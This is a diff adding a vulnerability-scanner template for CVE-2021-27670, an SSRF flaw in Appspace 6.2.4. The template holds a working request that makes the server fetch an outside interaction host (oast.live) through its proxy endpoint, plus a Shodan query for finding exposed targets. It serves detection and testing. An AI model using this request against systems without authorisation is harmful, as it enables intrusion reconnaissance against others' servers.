Create CVE-2021-27670.yaml

http/cves/2021/CVE-2021-27670.yaml

@@ -0,0 +1,33 @@
+id: CVE-2021-27670
+
+info:
+  name: Appspace 6.2.4 - Server-Side Request Forgery
+  author: ritikchaddha
+  severity: high
+  description: Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.
+  reference:
+    - https://github.com/h3110mb/PoCSSrfApp
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-27670
+  classification:
+    cve-id: CVE-2021-27670
+  metadata:
+    max-request: 1
+    verified: true
+    shodan-query: title:"Appspace"
+  tags: cve,cve2023,appspace,ssrf
+
+http:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<h1> Interactsh Server </h1>"
+
+      - type: status
+        status:
+          - 200